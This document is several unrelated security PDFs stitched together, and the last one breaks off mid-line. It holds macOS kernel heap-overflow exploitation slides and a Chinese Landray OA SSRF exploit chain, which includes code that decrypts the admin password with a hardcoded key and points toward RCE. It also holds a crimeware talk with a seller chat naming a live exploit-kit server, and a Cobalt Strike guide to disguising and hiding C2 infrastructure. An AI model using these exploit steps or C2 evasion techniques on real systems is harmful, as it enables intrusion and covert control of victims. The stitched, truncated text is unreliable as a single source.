"\x56\xe2\x76\xa7\xfa\x35\x5c\xfc
\x23\x4b\x4f\x4c\xa3\x3f\x6a\x8e";
0x0? leave :(
sets flag :)
authenticated;
can (now) reach buggy code!
the bug isn't exploitable!?
ISSUE 0X2
kBuffer = OSMalloc(0x00000002, tag);
copyin(ls->buffer, kBuffer, 0x100000002);
heap/buffer/
[size:/2/bytes]
rest/of/heap....
0x41
0x41
[/untouched/]
only two bytes are copied!?
_bcopy(const void *, void *, vm_size_t);
/*
* Copyin/out from user/kernel
* rdi: source address
* rsi: destination address
* rdx: byte count
*/
Entry(_bcopy)
// TODO:
// think about 32 bit or 64 bit byte count
movl
%edx,%ecx
shrl
$3,%ecx
x86_64/locore.s
submit bug report to Apple (2013)
Entry(_bcopy)
xchgq %rdi, %rsi
movl
%rdx,%rcx
shrl
$3,%rcx
fixed! (OS X 10.11, 2015)
$EDX/$ECX byte count
(not $RDX/$RCX)
32bit :(
mapped page
unmapped
page
copyin(ls->buffer, kBuffer, ls->size);
controlling the heap copy
ISSUE 0X3
heap buffer
[size: 2 bytes]
rest of heap....
0x41
0x41
0x41 0x41 0x41 0x41
0x41 0x41 0x41 0x41
panic :(
Entry(_bcopy)
RECOVERY_SECTION
RECOVER(_bcopy_fail)
rep movsq
movl %edx, %ecx
andl $7, %ecx
RECOVERY_SECTION
RECOVER(_bcopy_fail)
_bcopy_fail:
movl $(EFAULT),%eax
ret
'fault toleranance'
0x100FFC
0x101000
struct lsStruct ls;
ls.buffer = 0x100FFC
ls.size = 0x100000002;
heap buffer
[size: 2 bytes]
rest of heap....
ring-0
ring-3
control exact # of bytes
copied into buffer
ls struct
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
? ? ?
vTable hijacking ($RIP)
SUCCESS!
heap buffer
[size: 2 bytes]
C++ object
[0xffffff8029a27e00]
0x41
0x41
0x4141414141414141
allocation size
bytes copied
# of bytes copied
controls:
+
+
attacker controlled vTable pointer
(lldb)/x/4xg/0xffffff8029a27e00/
0xffffff8029a27e00:/0x4141414141414141/0x4141414141414141/
0xffffff8029a27e10:/0x4141414141414141/0x4141414141414141/
(lldb)/reg/read/$rax/
rax/=/0x4141414141414141/
(lldb)/x/i/$rip/
->//0xffffff8020b99fb3:/ff/50/20//callq//*0x20(%rax)
control of $RIP :)
reliably exploiting a macOS heap overflow
WEAPONIZING
"Attacking the XNU Kernel in El
Capitan" -luca todesco
controlling heap layout
bypassing kALSR
bypassing smap/smep
payloads (!SIP, etc)
"Hacking from iOS 8 to iOS 9"
-team pangu
"Shooting the OS X El Capitan Kernel
Like a Sniper" -liang chen/qidan he
}
get root
'bring' & load buggy kext
exploit & disable SIP
SIP 'bypass'
(buggy) kext still
validly signed!
CONCLUSIONS
wrapping it up
at least they fixed it...
VENDOR RESPONSE :\
mov rbx, rdi ; user struct
mov edi, [rbx+8] ; size
call _OSMalloc
mov rdi, [rbx] ; in buffer
mov edx, [rbx+8] ; size
mov rsi, rax ; out buffer
call _copyin
fixed the bug
downplayed the bug
didn't assign a CVE
no credit (i'm ok with that)
maybe talking about
my exploit!?
consistent size
users won't patch
free security tools & malware samples
OBJECTIVE-SEE(.COM)
KnockKnock
BlockBlock
TaskExplorer
Ostiarius
Hijack Scanner
KextViewr
RansomWhere?
contact me any time :)
QUESTIONS & ANSWERS
[email protected]
@patrickwardle
"Is it crazy how saying sentences backwards creates backwards
sentences saying how crazy it is?" -Have_One, reddit.com
final thought ;)
mahalo :)
CREDITS
-
FLATICON.COM
-
THEZOOOM.COM
-
ICONMONSTR.COM
-
HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/
-
HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/
2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG
- "IOS KERNEL EXPLOITATION --- IOKIT EDITION ---" -STEFANO ESSER
- "REVISITING MAC OS X KERNEL ROOTKITS!" -PEDRO VILAÇA
- "FIND YOUR OWN IOS KERNEL BUG" -XU HAO/XIABO CHEN
- "ATTACKING THE XNU KERNEL IN EL CAPITAN" -LUCA TODESCO
- "HACKING FROM IOS 8 TO IOS 9" -TEAM PANGU
- "SHOOTING THE OS X EL CAPITAN KERNEL LIKE A SNIPER" -LIANG CHEN/QIDAN HE
- "OPTIMIZED FUZZING IOKIT IN IOS" -LEI LONG
- "MAC OS X AND IOS INTERNALS" -JONATHAN LEVIN
- "OS X AND IOS KERNEL PROGRAMMING" -OLE HALVORSEN/DOUGLAS CLARKE
images
resources | pdf |
蓝凌OA前台SSRF漏洞
漏洞地址: /sys/ui/extend/varkind/custom.jsp
直接贴源码:
<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara =
JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
挺简单的⼀处漏洞。。
内容就是⼀堆套娃处理。不细说。
问题就是在于 <c:import url=
<c:import>标签提供了所有<jsp:include>⾏为标签所具有的功能,同时也允许
包含绝对URL。
举例来说,使⽤<c:import>标签可以包含⼀个FTP服务器中不同的⽹⻚内容。
url的内容可控为json内容中的file键值。
这⾥的url可以是相对路径和绝对路径或者是其他主机的资源。
简单来说就是⼀处ssrf。并且是有回显的。
看了⼤部分poc都是利⽤file协议去读取passwd。
你以为⽂章到这就结束了???这才刚刚开始。
既然是SSRF,并且可以读⽂件还⽀持相对路径?。这不好好利⽤⼀下?
如果你看过蓝凌OA的配置⽂档。你就知道,admin.do这个路径是管理系统配置。并
且,该地址的密码是以硬编码的格式保存在本地的。
路径: WEB-INF/KmssConfig/admin.properties
既然上⾯的ssrf⽀持相对路径和绝对路径。并且,是有回显的。那么只需要读取这
个路径的⽂件就可以了。
成功得到密码,但是这⾥要注意 kmss.properties.encrypt.enabled = true
如果为ture,则说明password的内容是加密过的。
那么就需要进⼀步解密。
先看看这个⽂件在哪⾥被读取了。
在 com.landray.kmss.sys.config.constant.SysConfigConstant 类
中, admin.properties 的路径被存储在变量 ADMIN_PROPERTIES_PATH 中。
继续查找,看⼀下哪⾥调⽤了 ADMIN_PROPERTIES_PATH 变量
最终在 com.landray.kmss.sys.config.action.SysConfigAdminUtil 中发现
getAdminProperties ⽅法中存在调⽤。
看了下具体逻辑。
if (isEncryptEnabled(p))
if (isEncryptEnabled(p))
p.setProperty("password", doPasswordDecrypt(
p.getProperty("password")));
return p;
}
如果配置⽂件中的加密选项为true。则进⼊ doPasswordDecrypt ⽅法进⾏解密。
这不就直接可以了吗?
解密代码:
import com.landray.kmss.util.DESEncrypt;
public class main {
public static void main(String[] args) {
String password = "mqwEyqHLj9PQXpy+yhf4z92SejWx+VeS";
String resul=doPasswordDecrypt(password);
System.out.println(resul);
}
public static String doPasswordDecrypt(String password) {
try {
DESEncrypt des = new DESEncrypt("kmssAdminKey");
return des.decryptString(password);
} catch (Exception ex) {
try {
DESEncrypt des0 = new DESEncrypt("kmssAdminKey",
true);
return des0.decryptString(password);
} catch (Exception e) {
return "hh";
}
}
}
}
得到解密结果
直接访问admin.do进⾏登陆。
到了这⼀步。。。估计其他师傅已经知道怎么rce了。jndi,jdbc反序列化就可以直
接rce了
不过,对于我这种懒狗来说。还是不够简洁。
对于admin账号。可以直接在前台登陆。
然后利⽤hw期间爆出的后台洞就可以直接拿到shell。
这⾥摸⼀个0day,带⾛。 | pdf |
Anthony Lai
Security Researcher@VXRL
Taste the power
of Crimeware!
(HIT 2010 Edition)
Special Thanks
• HIT fellows
• Thank you to PK and Birdman
• My wife and Pomeranian family
My Bio
• From Hong Kong
• Worked in penetration
test, code audit and
threat analysis
• Interested in reverse
engineering and
malware analysis as
well as programming
Story begins …>
At 2300
Hack the crimeware
Got a link
• http://pastie.org/pastes/888690 from
www.malwaredomainlist.com
Its features
From the pastie link, it includes the following features:
•
It is undetectable from anti-virus scanner
•
Obfuscate the PDF payload randomly
•
Checking whether the domain is on the blacklist
•
Prevent Wepatweb, Jsunpack and other Javascript unpackers to decode
the page.
•
To guarantee high level of penetration and successful exploit, it could offer
various exploits, which are shown below:
– Adobe Acrobat Reader Exploits (including CVE-2010-0188)
– JRE (GSB & SERIALIZE)
– MDAC (IE)
– MS09-032 (IE)
– MS09-002 (IE)
– CVE-2010-0806 (IE)
Aha … I love the evil feeling
Mission 1: Try it out
• Understand and get to know how it works
• The only way is to grab a trial account
Social Engineering
• Add the contact in IM.
• Wait for reply
2 days later…
Replies and Conversation
•
6.1 Conversation with Crimepack “key person” via IM on 15 April 2010
•
2:17:06 AM Buyer: Hi dude
•
2:17:10 AM Buyer: I come from Hong Kong
•
2:17:17 AM Buyer: I want to purchase the Crimepack.
•
2:17:26 AM Buyer: how can I try it out?
•
2:17:29 AM Buyer: what is the price/
•
2:17:39 AM Buyer: how to pay it?
•
2:17:44 AM Buyer: and any discount for me, dude?
•
Changed status to Offline (2:18:53 AM)
•
Changed status to Online (2:18:54 AM)
•
2:20:56 AM NEW VERSION 2.8.2 AVAILABLE NOW: what forum are u from?
•
2:21:06 AM Buyer: fourm?
•
2:21:09 AM Buyer: pastie.org
•
2:23:15 AM NEW VERSION 2.8.2 AVAILABLE NOW: and where did you find the
pastie link?
•
2:23:40 AM Buyer: I have forgotten it for a while, dude, as I just search crimepack
in Google.
•
2:24:09 AM Buyer: crimeware
•
2:26:07 AM NEW VERSION 2.8.2 AVAILABLE NOW: i see
•
2:26:29 AM NEW VERSION 2.8.2 AVAILABLE NOW: price is 400$, and you can pay
with WebMoney (WMZ)
•
2:26:38 AM Buyer: 400 USD
•
2:26:41 AM Buyer: right?
•
2:26:43 AM NEW VERSION 2.8.2 AVAILABLE NOW: yes
•
2:26:54 AM Buyer: May I have to try it for at least a few days?
•
2:27:07 AM NEW VERSION 2.8.2 AVAILABLE NOW: yeah
•
2:27:55 AM Buyer: thanks,
•
2:28:09 AM Buyer: anything I need to obey or fulfill when I use
the crimeware.
•
2:30:11 AM NEW VERSION 2.8.2 AVAILABLE NOW: what do you
mean_
•
2:30:24 AM Buyer: i mean terms and conditions of using
the crimeware.
•
2:31:31 AM NEW VERSION 2.8.2 AVAILABLE NOW: yeah terms of
condition is don't share it, don't resell it and use it at your own risk
•
2:31:56 AM Buyer: with full access of installation, configuration
documentation
•
2:32:17 AM Buyer: right?
•
2:32:25 AM Buyer: okay, thanks,
•
2:32:51 AM NEW VERSION 2.8.2 AVAILABLE NOW: you recieve the
files, and a documentation how to install it yeah
•
2:32:56 AM Buyer: okay
•
2:33:07 AM Buyer: then may I be granted trial access right now?
•
2:33:28 AM Buyer: as I will travel to Japan soon, may I have the access for 5 days?
•
2:33:39 AM NEW VERSION 2.8.2 AVAILABLE NOW: yes
•
2:33:41 AM Buyer: I would like to try it out within coming 5-7 days?
•
2:33:51 AM Buyer: thanks, dude.
•
2:34:11 AM NEW VERSION 2.8.2 AVAILABLE NOW: i can setup a trial for you in 1 hour
•
2:34:22 AM Buyer: thank, mate
•
2:34:30 AM Buyer: it seems the featue is good
•
2:34:39 AM Buyer: may I enjoy any upgrade after purchase it?
•
2:35:14 AM NEW VERSION 2.8.2 AVAILABLE NOW: pack improvements are usually free
•
2:35:18 AM NEW VERSION 2.8.2 AVAILABLE NOW: first av cleaning is free
•
2:35:20 AM Buyer: good.
•
2:35:28 AM NEW VERSION 2.8.2 AVAILABLE NOW: 2 domain rebuilds are free
•
2:36:01 AM NEW VERSION 2.8.2 AVAILABLE NOW: what brought you interest in crimepack?
•
2:36:02 AM Buyer: may I set it up in my personal computer to try it out first before putting it
to the domain?
•
2:36:17 AM Buyer: I would like to study how it works only
•
2:36:21 AM NEW VERSION 2.8.2 AVAILABLE NOW: the trial will be hosted on my server
•
2:37:09 AM Buyer: nice
•
2:37:11 AM NEW VERSION 2.8.2 AVAILABLE NOW: the pack will then be bound to a domain
so if you redirect your domain to your personal computer then you can test it there
•
2:38:30 AM Buyer: thanks, mate.
•
2:38:53 AM Buyer: then I would like to know how you have interest to make crimepack as
well?
•
2:39:08 AM NEW VERSION 2.8.2 AVAILABLE NOW: what do you think?
•
2:39:12 AM Buyer: It is quite advanced indeed.
•
2:39:25 AM Buyer: to make $$$ to sponsor your research indeed.
•
2:40:02 AM NEW VERSION 2.8.2 AVAILABLE NOW: its all about making money
•
2:40:24 AM Buyer: I also want to be have such kungfu like you guys in the future.
•
2:42:26 AM NEW VERSION 2.8.2 AVAILABLE NOW: what kind of malware do you run?
•
2:42:46 AM Buyer: IE exploit
•
2:42:59 AM Buyer: or browser exploit.
•
2:43:41 AM NEW VERSION 2.8.2 AVAILABLE NOW: so your intensions of buying the exploit
is not to spread your malware?
•
2:44:27 AM Buyer: i am just studying over it
•
2:46:24 AM Buyer: "use it at my own risk", right?
•
2:47:22 AM Buyer: Then I could try it out in an hour, couldn't I?
•
2:47:36 AM Buyer: For the web money account, do you have any more details for me?
•
2:51:44 AM NEW VERSION 2.8.2 AVAILABLE NOW: ?
•
2:51:58 AM Buyer: how can I transfer the money to you?
•
2:52:39 AM Buyer: i just used paypal in the past
•
3:03:33 AM Buyer: hi there?
•
3:04:04 AM Buyer: do you mind to drop me message once you have set the trial for me?
•
3:04:18 AM Buyer: this is my mail <MY EMAIL ADDRESS>
•
3:19:48 AM Buyer: Hello?
•
3:23:03 AM NEW VERSION 2.8.2 AVAILABLE NOW: i'm not interested to sell to security researchers
•
3:24:16 AM Buyer: dude, i can't disclose too much to you right now becos it is proabably installed in
China.
•
3:24:30 AM Buyer: our conversation is not encrypted
•
3:24:46 AM Buyer: there is no guarantee anyone sniffs our traffic.
•
3:25:32 AM Buyer: i could only disclose, i have been recruited to test on it before someone spread the
malware.
•
3:27:13 AM Buyer: The boss behind does not want a single guy to undertake the whole/entire
attack/malware spreading process, that's it
•
3:27:32 AM Buyer: I don't know what he targets on neither.
•
3:27:51 AM Buyer: i also just make money.
•
3:28:56 AM Buyer: what do you think, dude?
•
3:29:49 AM NEW VERSION 2.8.2 AVAILABLE NOW: http://87.98.218.204/cn/admin.php <removed
admin account ID>/<removed passwd>
•
3:29:51 AM NEW VERSION 2.8.2 AVAILABLE NOW: have fun
•
3:29:52 AM NEW VERSION 2.8.2 AVAILABLE NOW: you got
•
3:29:53 AM NEW VERSION 2.8.2 AVAILABLE NOW: 5 days
•
3:29:58 AM Buyer: thanks, mate.
•
3:30:08 AM Buyer: thanks for your understanding.
•
3:30:25 AM NEW VERSION 2.8.2 AVAILABLE NOW: if i see any attempts of sql injection i will remove it
•
3:30:44 AM Buyer: sure, no problem, i just tried out the functions and feedback to the boss behind.
•
3:30:57 AM Buyer: I will be the contact point to reach you to purchase.
•
3:31:02 AM NEW VERSION 2.8.2 AVAILABLE NOW: ok
•
3:32:50 AM Buyer: I will have 1-2 mates from US to try out the function only.
•
3:49:50 AM NEW VERSION 2.8.2 AVAILABLE NOW: you tested with firefox?
•
3:50:12 AM Buyer: yeah
•
3:50:19 AM Buyer: and Chorme
•
3:50:43 AM NEW VERSION 2.8.2 AVAILABLE NOW: try now
•
3:51:02 AM NEW VERSION 2.8.2 AVAILABLE NOW: if 'enable bad traffic' is not checked
it will not allow Chrome and other browsers visit the page
•
3:51:05 AM NEW VERSION 2.8.2 AVAILABLE NOW: only IE, FF, OP
•
3:51:38 AM NEW VERSION 2.8.2 AVAILABLE NOW: also its because you are visiting with
a Mac, it is for Windows Only
•
3:52:19 AM Buyer: okay
•
4:50:01 AM Buyer: hi dude
•
4:50:13 AM Buyer: I have tried http://87.98.218.204/cn/index.php again in IE
•
4:50:16 AM Buyer: but it faile.
•
4:50:19 AM Buyer: failed
•
4:50:27 AM Buyer: Not Found message is shown.
•
4:54:18 AM NEW VERSION 2.8.2 AVAILABLE NOW: because you already visited it
•
4:54:30 AM NEW VERSION 2.8.2 AVAILABLE NOW: if your ip is already in the database it
will show a 404 next time you visit
•
4:54:35 AM NEW VERSION 2.8.2 AVAILABLE NOW: clear the stats and you can visit again
•
4:54:52 AM NEW VERSION 2.8.2 AVAILABLE NOW: unnessicery to have duped victims
•
3:33:14 AM Buyer: do you have any readme/docs for me?
•
3:39:18 AM NEW VERSION 2.8.2 AVAILABLE NOW: go to 'settings'
and upload exe
•
3:39:21 AM NEW VERSION 2.8.2 AVAILABLE NOW: send traffic
to http://87.98.218.204/cn/index.php
•
3:47:52 AM Buyer: dude
•
3:47:59 AM Buyer: it is not found;
•
3:48:00 AM Buyer: http://87.98.218.204/cn/index.php
•
3:48:21 AM Buyer: do you have a handle for me call you?
•
3:48:21 AM NEW VERSION 2.8.2 AVAILABLE NOW: what browser
you visit with?
•
3:48:25 AM Buyer: Firefox
•
3:48:51 AM NEW VERSION 2.8.2 AVAILABLE NOW: working for me
•
3:49:06 AM Buyer: Not Found
•
The requested URL / was not found on this server.
•
Main Menu
Referrer
Origin of countries
Blacklist Check
Build a Downloader
Clear Statistics
• Clear Stats
• It allows the administrator to clear up all
statistics of latest malware deployment.
Setting?
Mission 2: Analysis and
Deobfuscation
The site is ready
• http://87.98.218.204/cn/index.php,
• Aha, it is the seller’s server
• I have uploaded a payload, simply calc.ex
– Payload characteristic
– Size: 112kb (114688 bytes)
– md5: 829e4805b0e12b383ee09abdc9e2dc3c
Visit the site in VM
Pwned
• 114KB executable has been downloaded
How about automated scan?
• Wepaweb: FAILED
How about automated scan?
• Jsunpack: Yeah!
• For more details and payload download, it
could be found from the following URL:
http://jsunpack.jeek.org/dec/go?report=f5b4
710bb96e4b9d4ea440164c2d70120299c3a3
• The password is “infected”.
More conversation
•
1:01:38 AM Buyer: does it support more obfuscation.
•
1:01:54 AM Buyer: Wepaweb cannot analyze it.
•
1:02:04 AM Buyer: however, Jsunpack could do it.
•
1:02:37 AM Crimepack 3.0-Delta available: crimepack itself does not make
any other obfuscation due to Kaspersky detecting most of them so i
figured out a way how to not get it detected and thats how its
implemented
•
1:02:53 AM Crimepack 3.0-Delta available: i can take a look at jsunpack
later, i've bypassed it quite a few times already
•
1:04:36 AM Crimepack 3.0-Delta available: anyways im working on some
improvements on the pack, ina few days i can give you another evaluation
panel so you can try out the new version
•
1:04:52 AM Buyer: that's nice
•
1:05:38 AM Buyer: may be, you could allow us to import some exploits
•
1:08:57 AM Crimepack 3.0-Delta available: yes i'm planning to add a few
exploits for AIM (not the newest though) that hopefully will have some
effect on US traffic, along with the Firefox 3.5 exploit, and a few activex
control exploits
•
1:09:34 AM Crimepack 3.0-Delta available: and i'm also thinking about
creating kind of a development framework so you can include your own
exploits on the fly and enable/disable them
Manual” Kungfu
Syntax Error?
Ops, Document has no properties
Declare a variable type for zelslxls
instead of id name in <div>
• // Original:
<div id="zeslxls”
style="display:none;">eS8kz…</d
iv>
• var zelslxls = “………”;
After executing the replace function, it is
document.getElementById(“zeslxls”).innerHTML,
we simply put it as “zelslxls” as it is no longer an
id of <div> tag.
• //Original:
var
mzmiycr=HeJKUePIhDF(document['pndqsqp
gpndqsqpepndqsqptpndqsqpEpndqsqplpndq
sqpepndqsqpmpndqsqpepndqsqpnpndqsqptp
ndqsqpBpndqsqpypndqsqpIpndqsqpdpndqsq
p'.replace(/pndqsqp/g,'')]("zeslxls")
.innerHTML);
• // Deobfuscated and zeslxls is not an ID of <div> but it
is defined as a variable.
var mzmiycr=HeJKUePIhDF(zeslxls);
Replace the executed result “search”
with […]
• //Original:
znknvsh['wklxnerswklxnerewklxne
rarwklxnerch'.replace(/wklxner/
g,'')](zdiubxv);
• var
mcstfpj=znknvsh.search(zdiubxv);
Replace the executed result
document.location.herf with any URL.
• //Original:
return
document['wklxnerlwklxnerowklxnerc
atwklxneriwklxnerowklxnern'.replac
e(/wklxner/g,'')].href;
• return "http://www.google.com";
Yeah!
Put it more simple
•
We have put a document.write and alert on the variable in the
following code section with for-loop:
for (i=0;i<qfnynws.length;i+=2) {
mbtnpoq+=oragddz(ptdbrww(qfnynws[yaunsut[vfsc
kpg('vvbciksrtwlculxe','vvbcikspqioqrfjltwlcu
lxa','twlculxcvvbcikse')](/AJ/g,'')](i,zexegx
w),ptdeqea()));
}
document.write(mbtnpoq);
alert(mbtnpoq);
We could still get the result
Mission 3: Let’s sum up
Exploit-based Crimeware
• Existing exploits
• Bundled attack
• Bypassing deobfuscation
• Bypassing AV
• Checking whether it is blacklisted.
….
Eleonore Browser Exploit Kit
http://krebsonsecurity.com/2010/01/a-peek-inside-the-eleonore-browser-exploit-kit/
GOLOD
http://malwareint.blogspot.com/2010/03/ipack-y-golod-new-on-scene-crimeware.html
iPack
Botnet-based Exploit Kit
•
Spyeye
– Made in Russia
– Formgrabbing (an advanced keylogging method of capturing web form data)
supporting Firefox, IE, Maxthon and Netscape.
– CC Autofill (A module that, basically, automates the process of credit card
frauds, and gives money to the owner)
– PHP-MYSQL Administration Panel
– Daily backup of the database via e-mail
– Exe String-Sources encryption
– FTP Grabbing (Total Commander, Notepad++, FileZilla, and others)
– POP3 Grabbing
– Invisible in processes list, hidden file, invisible in autorun (registry)
From:http://malwareint.blogspot.com/2010/01/spyeye-new-bot-on-market.html
Final Weapon: 0-Day Browser Exploit
Kit
• Impassion Framework
– I try to get an trial account but failed.
– Provide 0-day exploits in IE and PDF monthly
update.
– They claim they have the largest market share!
– 1400 EUROS/month!
– Features:
http://malwareview.com/index.php?topic=712.0
– Watch the video from here:
• http://www.youtube.com/watch?v=F4J3SeFkzXg
Hmmm…
• Exploit kit could automate the threat
propagation
• You simply pay it and use it, it is user friendly.
• Easy to keep track of the infection
• Allow deploy your own exploit
• Law and rule has never made it clear whether
crimeware is illegal or not.
Bonus stage
Mission 4: Exploit the crimeware
Google hacking or Search Malware List
• http://www.malwaredomainlist.com/mdl.php
?search=pack&colsearch=All&quantity=50
• http://www.malwaredomainlist.com/mdl.php
?search=kit&colsearch=All&quantity=50
Scan over them!
• NMAP
• Free web tools
• SQL injection
• Directory traversal
Hack them?!
• Hack them down…(hahaha, own them for
justice?! Dude, unless your police force allows
you to do it)
“All that is necessary for the
triumph of evil is that good men do
nothing.”
- Edmund Burkle
Thank you for listening
• You could reach me for the slide and a short
paper about it at [email protected] | pdf |
CobaltStrike
0x00
C2
@L.N
TeamServerCS
TeamServer
CobaltStrike 4.3 DoS
C2
0x01 +
1.
teamserver 50050
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=55555 -Dcobaltstrike.ser
ver_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl
.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpa
th cobaltstrike.jar -Duser.language=en -javaagent:CSAgent.jar=3a4425490f389aeec3
12bdd758ad2b99 server.TeamServer $*
2.
# Outlook
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey
-keyalg RSA -alias cobaltstrike -dname "CN=Outlook.live.com, OU=Microsoft Corporation
# 360
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -
keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST
=Cyberspace, C=CN"
# baidu
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -
keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=C
haoYang, C=CN"
#
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstri
ke.store -deststoretype pkcs12
PS:
3. HTTPS
3.1 Let's Encrypt
HTTPsC2DoneRight.sh HTTPS @
func_install_letsencrypt
func_install_letsencrypt(){
echo '[Starting] cloning into letsencrypt!'
# git clone https://github.com/certbot/certbot /opt/letsencrypt
echo '[Success] letsencrypt is built!'
# cd /opt/letsencrypt
echo '[Starting] to build letsencrypt cert!'
certbot --apache -d $domain -n --register-unsafely-without-email --agree-tos
if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
echo '[Success] letsencrypt certs are built!'
else
echo "[ERROR] letsencrypt certs failed to build. Check that DNS A recor
d is properly configured f
exit 1
fi
}
sudo apt install -y git lsof snap
sudo snap install core; sudo snap refresh core
sudo apt remove certbot
sudo snap install certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
wget https://raw.githubusercontent.com/killswitch-GUI/CobaltStrike-ToolKit/maste
r/HTTPsC2DoneRight.sh && chmod +x HTTPsC2DoneRight.sh
amazon.profile domain.store
amazon.profile teamserver
cobaltstrike.store domain.store
3.2 cloudflare
pemkey.pemchain.pem
cobaltstrike
1. domain.store
openssl pkcs12 -export -in /api.domain.com/chain.pem -inkey /api.xxx.com/key.pem
-out api.domain.com.p12 -name api.domain.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore
api.domain.com -srckeystore api.domain.com.p12 -srcstoretype PKCS12 -srcstorepas
s 123456 -alias api.domain.com
2. teamserver cobaltstrike.store api.domain.com.store
3. c2.profile https
https-certificate {
set keystore "api.domain.com.store";
set password "123456";
}
3.3 "zerossl" "letsencrypt" "buypass" "sslcom"
1. https://secure.ssl.com/users/new
2. acme.sh
# RSA
acme.sh --register-account --server sslcom -m [email protected] --eab-kid 7
a7xxxxxx7e1 --eab-hmac-key h
# ECC
acme.sh --register-account --server sslcom -m [email protected] --eab-kid 7
a7xxxxxx7e1 --eab-hmac-key hEAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxGzs --ecc
# sslcom
acme.sh --issue --dns dns_cf -d sslcom-demo.scotthelme.co.uk --force --keylength
ec-256 --server sslcom
#!/bin/bash
#!/bin/bash
set -e
SERVERS=("zerossl" "letsencrypt" "buypass" "sslcom")
/home/scott/acme.sh/acme.sh --issue --dns dns_cf -d homeassistant.scotthelme.co.
uk --force --keylength ec-256 --server $(shuf -n1 -e "${SERVERS[@]}")
3.2
0x02 C2 Profiles
1. github C2 Profile
Awesome-CobaltStrikeC2 Profile malleable-c2
jquery-c2.4.3.profilejquery
2. Malleable-C2-Randomizer
4 C2 Profile
4.3/4.4)
python malleable-c2-randomizer.py -profile Sample\ Templates/pandora.profile -no
test
payload spawn post-ex spawn
mstsc.exe
post-ex {
set spawnto_x86 "%windir%\\syswow64\\mstsc.exe";
set spawnto_x64 "%windir%\\sysnative\\mstsc.exe";
}
PS: @ CloudFront Cobalt Strike
C2 Profile ()
3. random_c2_profile
cs4.4
python random_c2profile.py
https
4. SourcePoint
yaml
5. C2 v1.0 ()
link:
https://www.red-team.cn/index.php?tools
0x03 CobaltStrike Stage URI
Beacon Staging ServerPayload
payloadstagerpayloadBeacon staging server
stagestageURLchecksum8
c2 profilehttp-stagestage beacon
(false)checksum8
1. iptables
IPlistener
# 47.xx.xx.xx443
iptables -I INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s 47.xx.xx.xx -ptcp --dport 443 -j ACCEPT
listener HTTPS Port(bind) target
stager
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 4443 -j ACCEPT
iptables -A INPUT -p tcp --dport 4443 -j DROP
iptablesiptablse-save
iptables-save > /etc/iptables.rules
/etc/network/interfaces
pre-up iptables-restore < /etc/iptables.rules
2. stagerkillrestart listener
3. cobaltstrike
cs 3.x0x69cs 4.x0x2e
PS: CobaltStrike
0x04 CDN +
CDN teamserver
cloudflare cloudflare
HTTPS fullchain.pem , privkey.pem
DNS
3()
(*.jsprofileurijs
)
HTTPScobaltstrike *.store
amazon.profile https-certificate
profile
#!/bin/bash
#!/bin/bash
# Global Variables
runuser=$(whoami)
tempdir=$(pwd)
# Echo Title
clear
echo '==========================================================================
'
echo ' HTTPS C2 Done Right Setup Script For CloudFlare | [Updated]: 2021 '
echo '==========================================================================
'
echo -n "Enter your DNS (A) record for domain [ENTER]: "
read domain
echo
echo -n "Enter your common password to be used [ENTER]: "
read password
echo
echo -n "Enter your CobaltStrike server file path [ENTER]: "
read cobaltStrike
echo
domainPkcs="$domain.p12"
domainStore="$domain.store"
cobaltStrikeProfilePath="$cobaltStrike/httpsProfile"
# Environment Checks
func_check_env(){
# Check Sudo Dependency going to need that!
if [ $(id -u) -ne '0' ]; then
echo
echo ' [ERROR]: This Setup Script Requires root privileges!'
echo ' Please run this setup script again with sudo or run as login
as root.'
echo
exit 1
fi
}
func_check_tools(){
# Check Sudo Dependency going to need that!
if [ $(which keytool) ]; then
echo '[Sweet] java keytool is installed'
else
echo
echo ' [ERROR]: keytool does not seem to be installed'
echo
exit 1
fi
if [ $(which openssl) ]; then
echo '[Sweet] openssl keytool is installed'
else
echo
echo ' [ERROR]: openssl does not seem to be installed'
echo
exit 1
fi
if [ $(which git) ]; then
echo '[Sweet] git keytool is installed'
else
echo
echo ' [ERROR]: git does not seem to be installed'
echo
exit 1
fi
}
func_build_pkcs(){
cd /etc/letsencrypt/live/$domain
echo '[Starting] Building PKCS12 .p12 cert.'
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -
name $domain -passout pass:$password
echo '[Success] Built $domainPkcs PKCS12 cert.'
echo '[Starting] Building Java keystore via keytool.'
keytool -importkeystore -deststorepass $password -destkeypass $password -destk
eystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass
$password -alias $domain
echo '[Success] Java keystore $domainStore built.'
mkdir $cobaltStrikeProfilePath
cp $domainStore $cobaltStrikeProfilePath
echo '[Success] Moved Java keystore to CS profile Folder.'
}
func_build_c2(){
cd $cobaltStrikeProfilePath
echo '[Starting] Cloning into amazon.profile for testing.'
wget https://raw.githubusercontent.com/rsmudge/Malleable-C2-Profiles/master/no
